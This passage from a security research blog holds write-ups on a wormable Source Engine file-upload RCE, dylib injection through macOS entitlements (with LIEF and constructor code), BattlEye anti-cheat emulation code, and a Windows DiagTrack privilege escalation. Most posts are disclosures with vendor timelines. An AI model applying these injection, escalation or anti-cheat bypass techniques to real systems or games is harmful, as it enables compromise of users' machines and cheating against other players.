        !stricmp(ext, ".exe") ||
        !stricmp(ext, ".vbs") ||
        !stricmp(ext, ".com") ||
        !stricmp(ext, ".bat") ||
        !stricmp(ext, ".dll") ||
        !stricmp(ext, ".ini") ||
        !stricmp(ext, ".log") ||
        !stricmp(ext, ".lua") ||
        !stricmp(ext, ".nut") ||
        !stricmp(ext, ".vdf") ||
        !stricmp(ext, ".smx") ||
        !stricmp(ext, ".gcf") ||
        !stricmp(ext, ".sys"))
        return false;

    return true;
}

Bypassing "//" and ".." can be done with "/\\" because there is a call to FixSlashes that makes proper slashes after the sanity check, and for the ".." the "/\\" will set the path to the root of the drive, so we can write to anywhere on the system if we know the path. Bypassing "lua/", "gamemodes/" and "addons/" can be done by using capital letters e.g. "ADDONS/" since file paths are not case sensitive on Windows.

Bypassing the file extension check is a bit more tricky, so let’s look at the structure sent by SendFile called dataFragments_t:

typedef struct dataFragments_s
{
    FileHandle_t    file;                 // open file handle
    char            filename[260];        // filename
    char*           buffer;               // if NULL it's a file
    unsigned int    bytes;                // size in bytes
    unsigned int    bits;                 // size in bits
    unsigned int    transferID;           // only for files
    bool            isCompressed;         // true if data is bzip compressed
    unsigned int    nUncompressedSize;    // full size in bytes
    bool            isReplayDemo;         // if it's a file, is it a replay .dem file?
    int             numFragments;         // number of total fragments
    int             ackedFragments;       // number of fragments send & acknowledged
    int             pendingFragments;     // number of fragments send, but not acknowledged yet
} dataFragments_t;

The 260 bytes name buffer in dataFragments_t is used for the file name checks and filters, but is later copied and then truncated to 256 bytes after all the sanity checks thus removing our fake extension and activating the malicious extension:

Q_strncpy( rc->gamePath, gamePath, BufferSize /* BufferSize = 256 */ );

Using a file name such as ./././(...)/file.dll.txt (pad to max length with ./) would get truncated to ./././(...)/file.dll on the receiving end after checking if the file extension is valid. This also has the side effect that we can overwrite files as the file exists check is done before the file extension truncation.

Remote code execution

Using the aforementioned remote file inclusion, we can upload Source Engine config files which have the potential to execute arbitrary code. Using Procmon, I discovered that the game engine searches for the config file in both platform/cfg and swarm/cfg respectively:

procmon

We can simply upload a malicious plugin and config file to platform/cfg and hijack the server. This is due to the fact that the Source Engine server config has the capability to load plugins with the plugin_load command:

plugin_load addons/alien_swarm_exploit.dll

This will load our dynamic library into the game server application, granting arbitrary code execution. The only constraint is that the newmapsettings.cfg config file is only reloaded on map change, so you will have to wait till the end of a game.

Wormable demonstration

Since both of these exploits apply to both the server and the client, we can infect a server, which can infect all players, which can carry on the virus when playing other servers. This makes this exploit chain completely wormable and nothing but a complete shutdown of the game servers can fix it.

Timeline

  • [2020-05-12] Reported to Valve on HackerOne
  • [2020-05-13] Triaged by Valve: “Looking into it!”
  • [2020-08-03] Patched in beta branch
  • [2020-08-18] Patched in release

Abusing MacOS Entitlements for code execution

By: impost0r
14 August 2020 at 23:00

Recently I disclosed some vulnerabilities to Dropbox and PortSwigger via H1 and Microsoft via MSRC pertaining to Application entitlements on MacOS. We’ll be exploring what entitlements are, what exactly you can do with them, and how they can be used to bypass security products.

These are all unpatched as of publish.

What’s an Entitlement?

On MacOS, an entitlement is a string that grants an Application specific permissions to perform specific tasks that may have an impact on the integrity of the system or user privacy. Entitlements can be viewed with the comand codesign -d --entitlements - $file.

Viewing the entitlements of the main Dropbox binary.

For the above image, we can see the key entitlements com.apple.security.cs.allow-unsigned-executable-memory and com.apple.security.cs.disable-library-validation - they allow exactly what they say on the tin. We’ll explore Dropbox first, as it’s the more involved of the two to exploit.

Dropbox

Just as Windows has PE and Linux has ELF, MacOS has its own executable format, Mach-O (short for Mach-Object). Mach-O files are used on all Apple products, ranging from iOS, to tvOS, to MacOS. In fact, all these operating systems share a common heritage stemming from NeXTStep, though that’s beyond the scope of this article.

MacOS has a variety of security protections in place, including Gatekeeper, AMFI (AppleMobileFileIntegrity), SIP (System Integrity Protection, a form of mandatory access control), code signing, etc. Gatekeeper is akin to Windows SmartScreen in that it fingerprints files, checks them against a list on Apple’s servers, and returns the value to determine if the file is safe to run. `

This is vastly simplified.

There are three configurable options, though the third is hidden by default - App Store only, App Store and identified developers, and “anywhere”, the third presumably hidden to minimize accidental compromise. Gatekeeper can also be managed by the command line tool, spctl(8), for more granular control of the system. One can even disable Gatekeeper entirely through spctl --master-disable, though this requires superuser access. It’s to be noted that this does not invalidate rules already in the System Policy database (/var/db/SystemPolicy), but allows anything not in the database, regardless of notarization, etc, to run unimpeded.

Now, back to Dropbox. Dropbox is compiled using the hardened runtime, meaning that without specific entitlements, JIT code cannot be executed, DYLD environment variables are automatically ignored, and unsigned libraries are not loaded (often resulting in a SIGKILL of the binary.) We can see that Dropbox allows unsigned executable memory, allowing shellcode injection, and has library validation disabled - meaning that any library can be inserted into the process. But how?

Using LIEF, we can easily add a new LoadCommand to Dropbox. In the following picture, you can see my tool, Coronzon, which is based off of yololib, doing the same.

Adding a LoadCommand to Dropbox

import lief

file = lief.parse('Dropbox')
file.add_library('inject.dylib')
file.write('Dropbox')

Using code similar to the following, one can execute code within the context of the Dropbox process (albeit via voiding the code signature - you’re best off stripping the code signature, or it won’t run from /Applications/). You’ll either have to strip the code signature or ad-hoc sign it to get it to run from /Applications/, though the application will lose any entitlements and TCC rights previously granted. You’ll have to use a technique known as dylib proxying - which is to say, replacing a library that is part of the application bundle with one of the same name that re-exports the library it’s replacing. (Using the link-time flags `-Xlinker -reexport_library $(PATH_TO_LIBRARY)).

#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>

__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
 {
     printf("Hello from dylib!\n");
     syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]);
     system("open -a Calculator");
}

This is a simple example, but combined with something like frida-gum the impact becomes much more severe - allowing application introspection and runtime modification without the user’s knowledge. This makes for a great, persistent usermode implant, as Dropbox is added as a LaunchItem.

Visual Studio

Microsoft releases a cut-down version of their premier IDE for MacOS, mainly for C# development with Xamarin, .NET Core, and Mono. Though ‘cut-down’, it still supports many features of the original, including NuGet, IntelliSense, and more.

It also has some interesting entitlements.

Viewing the entitlements of the main Visual Studio binary.

Of course, MacOS users are treated as second class citizens in Microsoft’s ecosystem and Microsoft could not give a damn about the impact this has on the end user - which is similar in impact to the above, albeit more severe. We can see that basically every single feature of the hardened runtime is disabled - enabling the simplest of code injection methods, via the DYLD_INSERT_LIBRARIES environment variable. The following video is a proof of concept of just how easily code can be executed within the context of Visual Studio.

Keep in mind: code executing in this context will inherit the entitlements and TCC values of the parent. It’s not hard to imagine a scenario in which IP (intellectual property) theft could result from Microsoft’s attempts at ‘hardening’ Visual Studio for Mac. As with Dropbox, all the security implications are the same, yet it’s about 30x easier to pull off as DYLD environment variables are allowed.

Burp Suite

I’m sure most reading this article are familiar with Burp Suite. If not - it’s a web exploitation Swiss army knife that aids in recon, pre, and post-exploitation. So why don’t we exploit it?

This time, we’ll be exploiting the Burp Suite installer. As you’ll probably guess by now, it has some… interesting entitlements.

Viewing the entitlements of the Burp Installer stub.

Aside from the output lacking newlines, exploitation in this case is different. There are no shell scripts in the install (nor is the entitlement for allowing DYLD environment variables present), and if we’re going to create a malicious installer, we need to use what’s already packaged. So, we’ll tamper with the included JRE (jre.tar.gz) that’s included with the installer.

There’s actually two approaches to this - replacing a dylib outright or dylib hijacking. Dylib hijacking is similar to it’s partner, DLL hijacking, on Windows, in that it abuses the executable searching for a library that may or may not be there, usually specified by @rpath or sometimes a ‘weakref’. A weakref is a library that doesn’t need to be loaded, but can be loaded. For more information on dylib hijacking, I reccomend this excellent presentation by Patrick Wardle of Objective-See. For brevity, however, we’ll just be replacing a .dylib in the JRE.

The way the installer executes is that it extracts the JRE to a temporary location during install, which is used for the rest of the install. This temporary location is randomized and actually adds a layer of obfuscation to our attack, as no two executions will have the JRE extracted into the same place. Once the JRE is extraced, it’s loaded and attempts to install Burp Suite. This allows us to execute unsigned code under the guise and context of Burp Suite, running code in the background unbenknownst to the user. Thankfully Burp Suite doesn’t (currently) require elevated privileges to install on macOS. Nonetheless, this is an issue due to the ease of forging a malicious installer and the fact that Gatekeeper is none the wiser.

A proof of concept can be viewed below.

Conclusions

Entitlements are both a valuable component of MacOS’ security model, but can also be a double edged sword. You’ve seen how trivivally Gatekeeper and existing OS protections can be bypassed by leveraging a weak application as a trampoline - the one with the most impact in this case I argue to be Dropbox, due to inheritance of Dropbox’s TCC permissions and being a LaunchItem, thus gaining persistence. Thus, entitlements provide a valuable addition to the attack surface of MacOS for any red-teamer or bug-bounty hunter. Your mileage may vary, however - Dropbox and Microsoft didn’t seem to care much. (PortSwigger, on the other hand, admitted that due to the design of Burp Suite and inherent language intrinsics it’s extremely hard to prevent such an attack - and I don’t fault them).

Happy hacking.

Disclosure Timelines


Dropbox

  • June 11th, initial disclosure.
  • June 17th, additional information added
  • June 20th, closed as Informative

Visual Studio

  • June 19th, initial disclosure
  • June 22nd, closed (“Upon investigation, we have determined that this submission does not meet the bar for security servicing. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering. “)

Burp Suite

  • June 27th, initial disclosure
  • June 30th, closed as Informative

BattlEye client emulation

By: vmcall
6 July 2020 at 23:00

The popular anti-cheat BattlEye is widely used by modern online games such as Escape from Tarkov and is considered an industry standard anti-cheat by many. In this article I will demonstrate a method I have been utilizing for the past year, which enables you to play any BattlEye-protected game online without even having to install BattlEye.

BattlEye initialisation

BattlEye is dynamically loaded by the respective game on startup to initialize the software service (“BEService”) and kernel driver (“BEDaisy”). These two components are critical in ensuring the integrity of the game, but the most critical component by far is the usermode library (“BEClient”) that the game interacts with directly. This module exports two functions: GetVer and more importantly Init.

The Init routine is what the game will call, but this functionality has never been documented before, as people mostly focus on BEDaisy or their shellcode. Most important routines in BEClient, including Init, are protected and virtualised by VMProtect, which we are able to devirtualise and reverse engineer thanks to vtil by secret club member Can Boluk, but the inner workings of BEClient is a topic for a later part of this series, so here is a quick summary.

Init and its arguments have the following definitions:

// BEClient_x64!Init
__declspec(dllexport)
battleye::instance_status Init(std::uint64_t integration_version,
                               battleye::becl_game_data* game_data,
                               battleye::becl_be_data* client_data);
  
enum instance_status
{
    NONE,
    NOT_INITIALIZED,
    SUCCESSFULLY_INITIALIZED,
    DESTROYING,
    DESTROYED
};

struct becl_game_data
{
    char*         game_version;
    std::uint32_t address;
    std::uint16_t port;

    // FUNCTIONS
    using print_message_t = void(*)(char* message);
    print_message_t print_message;

    using request_restart_t = void(*)(std::uint32_t reason);
    request_restart_t request_restart;

    using send_packet_t = void(*)(void* packet, std::uint32_t length);
    send_packet_t send_packet;

    using disconnect_peer_t = void(*)(std::uint8_t* guid, std::uint32_t guid_length, char* reason);
    disconnect_peer_t disconnect_peer;
};

struct becl_be_data
{
    using exit_t = bool(*)();
    exit_t exit;

    using run_t = void(*)();
    run_t run;

    using command_t = void(*)(char* command);
    command_t command;

    using received_packet_t = void(*)(std::uint8_t* received_packet, std::uint32_t length);
    received_packet_t received_packet;

    using on_receive_auth_ticket_t = void(*)(std::uint8_t* ticket, std::uint32_t length);
    on_receive_auth_ticket_t on_receive_auth_ticket;

    using add_peer_t = void(*)(std::uint8_t* guid, std::uint32_t guid_length);
    add_peer_t add_peer;

    using remove_peer_t = void(*)(std::uint8_t* guid, std::uint32_t guid_length);
    remove_peer_t remove_peer;
};

As seen, these are quite simple containers for interopability between the game and BEClient. becl_game_data is defined by the game and contains functions that BEClient needs to call (for example, send_packet) while becl_be_data is defined by BEClient and contains callbacks used by the game after initialisation (for example, received_packet). Note that these two structures slightly differ in some games that have special functionality, such as the recently introduced packet encryption in Escape from Tarkov that we’ve already cracked. Older versions of BattlEye (DayZ, Arma, etc.) use a completely different approach with function pointer swap hooks to intercept traffic communication, and therefore these structures don’t apply.

A simple Init implementation would look like this:

// BEClient_x64!Init
__declspec(dllexport)
battleye::instance_status Init(std::uint64_t integration_version,
                               battleye::becl_game_data* game_data,
                               battleye::becl_be_data* client_data)
{
    // CACHE RELEVANT FUNCTIONS
    battleye::delegate::o_send_packet    = game_data->send_packet;

    // SETUP CLIENT STRUCTURE
    client_data->exit                   = battleye::delegate::exit;
    client_data->run                    = battleye::delegate::run;
    client_data->command                = battleye::delegate::command;
    client_data->received_packet        = battleye::delegate::received_packet;
    client_data->on_receive_auth_ticket = battleye::delegate::on_receive_auth_ticket;
    client_data->add_peer               = battleye::delegate::add_peer;
    client_data->remove_peer            = battleye::delegate::remove_peer;

    return battleye::instance_status::SUCCESSFULLY_INITIALIZED;
}

This would allow our custom BattlEye client to receive packets sent from the game server’s BEServer module.

Packet handling

The function received_packet is by far the most important routine used by the game, as it handles incoming packets from the BattlEye server component. BattlEye communication is extremely simple compared to how important the integrity of it is. In recent versions of BattlEye, packets follow the same general structure:

#pragma pack(push, 1)
struct be_fragment
{
    std::uint8_t count;
    std::uint8_t index;
};

struct be_packet_header
{
    std::uint8_t id;
    std::uint8_t sequence;
};

struct be_packet : be_packet_header
{
    union 
    {
        be_fragment fragment;

        // DATA STARTS AT body[1] IF PACKET IS FRAGMENTED
        struct
        {
            std::uint8_t no_fragmentation_flag;
            std::uint8_t body[0];
        };
    };
    inline bool fragmented()
    {
        return this->fragment.count != 0x00;
    }
};
#pragma pack(pop)

All packets have an identifier and a sequence number (which is used by the requests/response communication and the heartbeat). Requests and responses have a fragmentation mode which allows BEServer and BEClient to send packets in chunks of 0x400 bytes (seemingly arbitrary) instead of sending one big packet.

In the current iteration of BattlEye, the following packets are used for communication:

INIT (00)

This packet is sent to the BEClient module as soon as the connection with the game server has been established. This packet is only transmitted once, contains no data besides the packet id 00 and the response to this packet is simply 00 05.

START (‘02’)

This packet is sent right after the ‘INIT’ packets have been exchanged, and contains the server-generated guid of the client. The response of this packet is simply the header: 02 00

REQUEST (04) / RESPONSE (05)

This type of packet is sent from BEServer to BEClient to request (and in rare cases, simply transmit) data, and BEClient will send back data for that request using the RESPONSE packet type.

The first request contains crucial information such as service- and integration version, not responding to it will get you disconnected by the game server. Afterwards, requests are game specific.

HEARTBEAT (09)

This type of packet is used by the BEServer module to ensure that the connection hasn’t been dropped. It is sent every 30 seconds using a sequential index, and if the client doesn’t respond with the same packet, the client is disconnected from the game server. This heartbeat packet is only three bytes long, with the sequential index used for synchronization being incremental and therefore easily emulated. An example heartbeat could be: 09 01 00, which is the second heartbeat (sequence starts at zero) transmitted.

Emulation

With this knowledge, it is possible by emulating the entire BattlEye anti-cheat with only two proprietary points of data: the responses for request sequence one and two. These can be intercepted using a tool such as wireshark and replayed as many times as you want for the respective game, because the packet encryption used by BattlEye is static and contextless.

Emulating the INIT packet is as stated simply responding with the sequence number five:

case battleye::packet_id::INIT:
{
    auto info_packet = battleye::be_packet{};
    info_packet.id       = battleye::packet_id::INIT;
    info_packet.sequence = 0x05;

    battleye::delegate::o_send_packet(&info_packet, sizeof(info_packet));
    break;
}

Emulating the START packet is done by replying with the received packet’s header:

case battleye::packet_id::START:
{
    battleye::delegate::o_send_packet(received_packet, sizeof(battleye::be_packet_header));
    break;
}

Emulating the HEARTBEAT packets is done by replying with the received packet:

case battleye::packet_id::HEARTBEAT:    
{
    battleye::delegate::o_send_packet(received_packet, length);
    break;
}

Emulating the REQUEST packets can be done by replaying previously generated responses, which can be logged with code hooks or man-in-the-middle software. These packets are game specific and some games might disconnect you for not handling a specific request, but most games only require the first two requests to be handled, afterwards simply replying with the packet header is enough to not get disconnected by the game server. It is important to notice that all REQUEST packets are immediately responded to with the header, to let the server know that the client is aware of the request. This is how BottlEye emulates them:

case battleye::packet_id::REQUEST:
{
    // IF NOT FRAGMENTED RESPOND IMMEDIATELY, ELSE ONLY RESPOND TO THE LAST FRAGMENT
    const auto respond = 
        !header->fragmented() || 
        (header->fragment.index == header->fragment.count - 1);

    if (!respond)
        return;

    // SEND BACK HEADER
    battleye::delegate::o_send_packet(received_packet, sizeof(battleye::be_packet_header));

    switch (header->sequence)
    {
    case 0x01:
    {
        battleye::delegate::respond(header->sequence,
            {
                // REDACTED BUFFER
            });
        break;
    }
    case 0x02:
    {
        battleye::delegate::respond(header->sequence, 
            {    
                // REDACTED BUFFER
            });
        break;
    }
    default:
        break;
    }
    break;
}

Which uses the following helper function for responses:

void battleye::delegate::respond(
    std::uint8_t response_index, 
    std::initializer_list<std::uint8_t> data)
{
    // SETUP RESPONSE PACKET WITH TWO-BYTE HEADER + NO-FRAGMENTATION TOGGLE

    const auto size = sizeof(battleye::be_packet_header) + 
                      sizeof(battleye::be_fragment::count) + 
                      data.size();

    auto packet = std::make_unique<std::uint8_t[]>(size);
    auto packet_buffer = packet.get();

    packet_buffer[0] = (battleye::packet_id::RESPONSE); // PACKET ID
    packet_buffer[1] = (response_index - 1);            // RESPONSE INDEX
    packet_buffer[2] = (0x00);                          // FRAGMENTATION DISABLED


    for (size_t i = 0; i < data.size(); i++)
    {
        packet_buffer[3 + i] = data.begin()[i];
    }

    battleye::delegate::o_send_packet(packet_buffer, size);
}

BottlEye

The full BottlEye project can be found on our GitHub repository. Below you can see this specific project being used in various popular video games.

Fortnite

The following video contains a live demonstration of my BottlEye project being used in the BattlEye-protected game Fortnite. In the video I live debug fortnite while playing online to prove that BattlEye is not loaded.

Insurgency

The following screenshot shows the BattlEye-protected game Insurgency running on Arch in Wine.

Escape from Tarkov

The following screenshot shows the usage of Cheat Engine in the popular, battleye-protected game Escape from Tarkov. This is possible because BattlEye has been replaced with BottlEye on disk.

Thanks to

  • Sabotage
  • Tamimego
  • Atex
  • namazso

Windows Telemetry service elevation of privilege

By: Jonas L
1 July 2020 at 23:00

Today, we will be looking at the “Connected User Experiences and Telemetry service,” also known as “diagtrack.” This article is quite heavy on NTFS-related terminology, so you’ll need to have a good understanding of it.

A feature known as “Advanced Diagnostics” in the Feedback Hub caught my interest. It is triggerable by all users and causes file activity in C:\Windows\Temp, a directory that is writeable for all users.

Reverse engineering the functionality and duplicating the needed interactions was quite a challenge as it used WinRT IPC instead of COM and I did not know WinRT existed, so I had some catching up to do.

In C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2003.1312.0_x64__8wekyb3d8bbwe\Helper.dll, I found a function with surprising possibilities:

WINRT_IMPL_AUTO(void) StartCustomTrace(param::hstring const& customTraceProfile) const;

This function will execute a WindowsPerformanceRecorder profile defined in an XML file specified as an argument in the security context of the Diagtrack Service.

The file path is parsed relative to the System32 folder, so I dropped an XML file in the writeable-for-all directory System32\Spool\Drivers\Color and passed that file path relative to the system directory aforementioned and voila - a trace recording was started by Diagtrack!

If we look at a minimal WindowsPerformanceRecorder profile we’d see something like this:

<WindowsPerformanceRecorder Version="1">
 <Profiles>
  <SystemCollector Id="SystemCollector">
   <BufferSize Value="256" />
   <Buffers Value="4" PercentageOfTotalMemory="true" MaximumBufferSpace="128" />
  </SystemCollector>  
  <EventCollector Id="EventCollector_DiagTrack_1e6a" Name="DiagTrack_1e6a_0">
   <BufferSize Value="256" />
   <Buffers Value="0.9" PercentageOfTotalMemory="true" MaximumBufferSpace="4" />
  </EventCollector>
   <SystemProvider Id="SystemProvider" /> 
  <Profile Id="Performance_Desktop.Verbose.Memory" Name="Performance_Desktop"
     Description="exploit" LoggingMode="File" DetailLevel="Verbose">
   <Collectors>
    <SystemCollectorId Value="SystemCollector">
     <SystemProviderId Value="SystemProvider" />
    </SystemCollectorId> 
    <EventCollectorId Value="EventCollector_DiagTrack_1e6a">
     <EventProviders>
      <EventProviderId Value="EventProvider_d1d93ef7" />
     </EventProviders>
    </EventCollectorId>    
    </Collectors>
  </Profile>
 </Profiles>
</WindowsPerformanceRecorder>

Information Disclosure

Having full control of the file opens some possibilities. The name attribute of the EventCollector element is used to create the filename of the recorded trace. The file path becomes:

C:\Windows\Temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_DiagTrack_XXXXXX.etl (where XXXXXX is the value of the name attribute.)

Full control over the filename and path is easily gained by setting the name to: \..\..\file.txt: which becomes the below:

C:\Windows\Temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_DiagTrack\..\..\file.txt:.etl

This results in C:\Windows\Temp\file.txt being used.

The recorded traces are opened by SYSTEM with FILE_OVERWRITE_IF as disposition, so it is possible to overwrite any file writeable by SYSTEM. The creation of files and directories (by appending ::$INDEX_ALLOCATION) in locations writeable by SYSTEM is also possible.

The ability to select any ETW provider for traces executed by the service is also interesting from an information disclosure point of view.

One scenario where I could see myself using the data is when you don’t know a filename because a service creates a file in a folder where you do not have permission to list the files.

Such filenames can get leaked by Microsoft-Windows-Kernel-File provider as shown in this snippet from an etl file recorded by adding 22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716 to the WindowsPerformanceRecorder profile file.

<EventData>
 <Data Name="Irp">0xFFFF81828C6AC858</Data>
 <Data Name="FileObject">0xFFFF81828C85E760</Data>
 <Data Name="IssuingThreadId">  10096</Data>
 <Data Name="CreateOptions">0x1000020</Data>
 <Data Name="CreateAttributes">0x0</Data>
 <Data Name="ShareAccess">0x3</Data>
 <Data Name="FileName">\Device\HarddiskVolume2\Users\jonas\OneDrive\Dokumenter\FeedbackHub\DiagnosticLogs\Install and Update-Post-update app experience\2019-12-13T05.42.15-SingleEscalations_132206860759206518\file_14_ProgramData_USOShared_Logs__</Data>
</EventData>

Such leakage can yield exploitation possibility from seemingly unexploitable scenarios.

Other security bypassing providers:

  • Microsoft-Windows-USB-UCX {36DA592D-E43A-4E28-AF6F-4BC57C5A11E8}
  • Microsoft-Windows-USB-USBPORT {C88A4EF5-D048-4013-9408-E04B7DB2814A} (Raw USB data is captured, enabling keyboard logging)
  • Microsoft-Windows-WinINet {43D1A55C-76D6-4F7E-995C-64C711E5CAFE}
  • Microsoft-Windows-WinINet-Capture {A70FF94F-570B-4979-BA5C-E59C9FEAB61B} (Raw HTTP traffic from iexplore, Microsoft Store, etc. is captured - SSL streams get captured pre-encryption.)
  • Microsoft-PEF-WFP-MessageProvider (IPSEC VPN data pre encryption)

Code Execution

Enough about information disclosure, how do we turn this into code execution?

The ability to control the destination of .etl files will most likely not lead to code execution easily; finding another entry point is probably necessary. The limited control over the files content makes exploitation very hard; perhaps crafting an executable PowerShell script or bat file is plausible, but then there is the problem of getting those executed.

Instead, I chose to combine my active trace recording with a call to:

WINRT_IMPL_AUTO(Windows::Foundation::IAsyncAction) SnapCustomTraceAsync(param::hstring const& outputDirectory)

When supplying an outputDirectory value located inside %WINDIR%\temp\DiagTrack_alternativeTrace (Where the .etl files of my running trace are saved) an interesting behavior emerges.

The Diagtrack Service will rename all the created .etl files in DiagTrack_alternativeTrace to the directory given as the outputDirectory argument to SnapCustomTraceAsync. This allows destination control to be acquired because rename operations that occur where the source file gets created in a folder that grants non-privileged users write access are exploitable. This is due to the permission inheritance of files and their parent directories. When a file is moved by a rename operation, the DACL does not change. What this means is that if we can make the destination become %WINDIR%\System32, and somehow move the file then we will still have write permission to the file. So, we know we control the outputDirectory argument of SnapCustomTraceAsync, but some limitations exist.

If the chosen outputDirectory is not a child of %WINDIR%\temp\DiagTrack_alternativeTrace, the rename will not happen. The outputDirectory cannot exist because the Diagtrack Service has to create it. When created, it is created with SYSTEM as its owner; only the READ permission is granted to users.

This is problematic as we cannot make the directory into a mount point. Even if we had the required permissions, we would be stopped by not being able to empty the directory because Diagtrack has placed the snapshot output etl file inside it. Lucky for us, we can circumvent these obstacles by creating two levels of indirection between the outputDirectory destination and DiagTrack_alternativeTrace.

By creating the folder DiagTrack_alternativeTrace\extra\indirections and supplying %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap as the outputDirectory we allow Diagtrack to create the snap folder with its limited permissions, as we are inside DiagTrack_alternativeTrace. With this, we can rename the extra folder, as it is created by us. The two levels of indirection is necessary to bypass the locking of the directory due to Diagtrack having open files inside the directory. When extra is renamed, we can recreate %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap (which is now empty) and we have full permissions to it as we are the owner!

Now, we can turn DiagTrack_alternativeTrace\extra\indirections\snap into a mount point targeted at %WINDIR%\system32 and Diagtrack will move all files matching WPR_initiated_DiagTrack*.etl* into %WINDIR%\system32. The files will still be writeable as they were created in a folder that granted users permission to WRITE. Unfortunately, having full control over a file in System32 is not quite enough for code execution… that is, unless we have a way of executing user controllable filenames - like the DiagnosticHub plugin method popularized by James Forshaw. There’s a caveat though, DiagnosticHub now requires any DLL it loads to be signed by Microsoft, but we do have some ways to execute a DLL file in system32 under SYSTEM security context - if the filename is something specific. Another snag though is that the filename is not controllable. So, how can we take control?

If instead of making the mountpoint target System32, we target an Object Directory in the NT namespace and create a symbolic link with the same name as the rename destination file, we gain control over the filename. The target of the symbolic link will become the rename operations destination. For instance, setting it to\??\%WINDIR%\system32\phoneinfo.dll results in write permission to a file the Error Reporting service will load and execute when an error report is submitted out of process. For my mountpoint target I chose \RPC Control as it allows all users to create symbolic links inside.

Let’s try it!

When Diagtrack should have done the rename, nothing happened. This is because, before the rename operation is done, the destination folder is opened, but now is an object directory. This means it’s unable to be opened by the file/directory API calls. This can be circumvented by timing the creation of the mount point to be after the opening of the folder, but before the rename. Normally in such situations, I create a file in the destination folder with the same name as the rename destination file. Then I put an oplock on the file, and when the lock breaks I know the folder check is done and the rename operation is about to begin. Before I release the lock I move the file to another folder and set the mount point on the now empty folder. That trick would not work this time though as the rename operation was configured to not overwrite an already existing file. This also means the rename would abort because of the existing file - without triggering the oplock.

On the verge of giving up I realized something:

If I make the junction point switch target between a benign folder and the object directory every millisecond there is 50% chance of getting the benign directory when the folder check is done and 50% chance of getting the object directory when the rename happens. That gives 25% chance for a rename to validate the check but end up as phoneinfo.dll in System32. I try avoiding race conditions if possible, but in this situation there did not appear to be any other ways forward and I could compensate for the chance of failure by repeating the process. To adjust for the probability of failure I decided to trigger an arbitrary number of renames, and fortunately for us, there’s a detail about the flow that made it possible to trigger as many renames I wanted in the same recording. The renames are not linked to files the diagnostic service knows it has created, so the only requirement is that they are in %WINDIR%\temp\DiagTrack_alternativeTrace and match WPR_initiated_DiagTrack*.etl*

Since we have permission to create files in the target folder, we can now create WPR_initiated_DiagTrack0.etl, WPR_initiated_DiagTrack1.etl, etc. and they will all get renamed!

As the goal is one of the files ending up as phoneinfo.dll in System32, why not just create the files as hard links to the intended payload? This way there is no need to use the WRITE permission to overwrite the file after the move.

After some experimentation I came to the following solution:

  1. Create the folders %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections
  2. Start diagnostic trace

    • %WINDIR%\temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_WPR System Collector.etl is created
  3. Create %WINDIR%\temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrack[0-100].etl as hardlinks to the payload.
  4. Create symbolic links \RPC Control\WPR_initiated_DiagTrack[0-100.]etl targeting %WINDIR%\system32\phoneinfo.dll
  5. Make OPLOCK on WPR_initiated_DiagTrack100.etl; when broken, check if %WINDIR%\system32\phoneinfo.dll exists. If not, repeat creation of WPR_initiated_DiagTrack[].etl files and matching symbolic links.
  6. Make OPLOCK on on WPR_initiated_DiagTrack0.etl; when it is broken, we know that the rename flow has begun but the first rename operation has not happened yet.

Upon breakage:

  1. rename %WINDIR%\temp\DiagTrack_alternativeTrace\extra to %WINDIR%\temp\DiagTrack_alternativeTrace\{RANDOM-GUID}
  2. Create folders %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap
  3. Start thread that in a loop switches %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap between being a mountpoint targeting %WINDIR%\temp\DiagTrack_alternativeTrace\extra and \RPC Control in NT object namespace.
  4. Start snapshot trace with %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap as outputDirectory

Upon execution, 100 files will get renamed. If none of them becomes phoneinfo.dll in system32, it will repeat until success.

I then added a check for the existence of %WINDIR%\system32\phoneinfo.dll in the thread that switches the junction point. The increased delay between switching appeared to increase the chance of one of the renames creating phoneinfo.dll. Testing shows the loop ends by the end of the first 100 iterations.

Upon detection of %WINDIR%\system32\phoneinfo.dll, a blank error report is submitted to Windows Error Reporting service, configured to be submitted out of proc, causing wermgmr.exe to load the just created phoneinfo.dll in SYSTEM security context.

The payload is a DLL that upon DLL_PROCESS_ATTACH will check for SeImpersonatePrivilege and, if enabled, cmd.exe will get spawned on the current active desktop. Without the privileged check, additional command prompts would spawn since phoneinfo.dll is also attempted to be loaded by the process that initiates the error reporting.

In addition, a message is shown using WTSSendMessage so we get an indicator of success even if the command prompt cannot be spawned in the correct session/desktop.

The red color is because my command prompts auto execute echo test> C:\windows:stream && color 4E; that makes all UAC elevated command prompts’ background color RED as an indicator to me.

Though my example on the repository contains private libraries, it may still be beneficial to get a general overview of how it works.

Cracking BattlEye packet encryption

Recently, Battlestate Games, the developers of Escape From Tarkov, hired BattlEye to implement encryption on networked packets so that cheaters can’t capture these packets, parse them and use them for their advantage in the form of radar cheats, or otherwise. Today we’ll go into detail about how we broke their encryption in a few hours.

Analysis of EFT

We started first by analyzing Escape From Tarkov itself. The game uses Unity Engine, which uses C#, an intermediate langauge, which means you can very easily view the source code behind the game by opening it in tools like ILDasm or dnSpy. Our tool of choice for this analysis was dnSpy.

Unity Engine, if not under the IL2CPP option, generates game files and places them under GAME_NAME_Data\Managed, in this case it’s EscapeFromTarkov_Data\Managed. This folder contains all the dependencies that the engine uses, including the file that contains the game’s code which is Assembly-CSharp.dll, we loaded this file in dnSpy then searched for the string encryption, which landed us here:

This segment is in a class called EFT.ChannelCombined, which is the class that handles networking as you can tell by the arguments passed to it:

Right clicking on channelCombined.bool_2, which is the variable they log as an indicator for whether encryption was enabled or not, then clicking Analyze, shows us that it’s referenced by 2 methods:

The second of which is the one we’re currently in, so by double clicking on the first one, it lands on this:

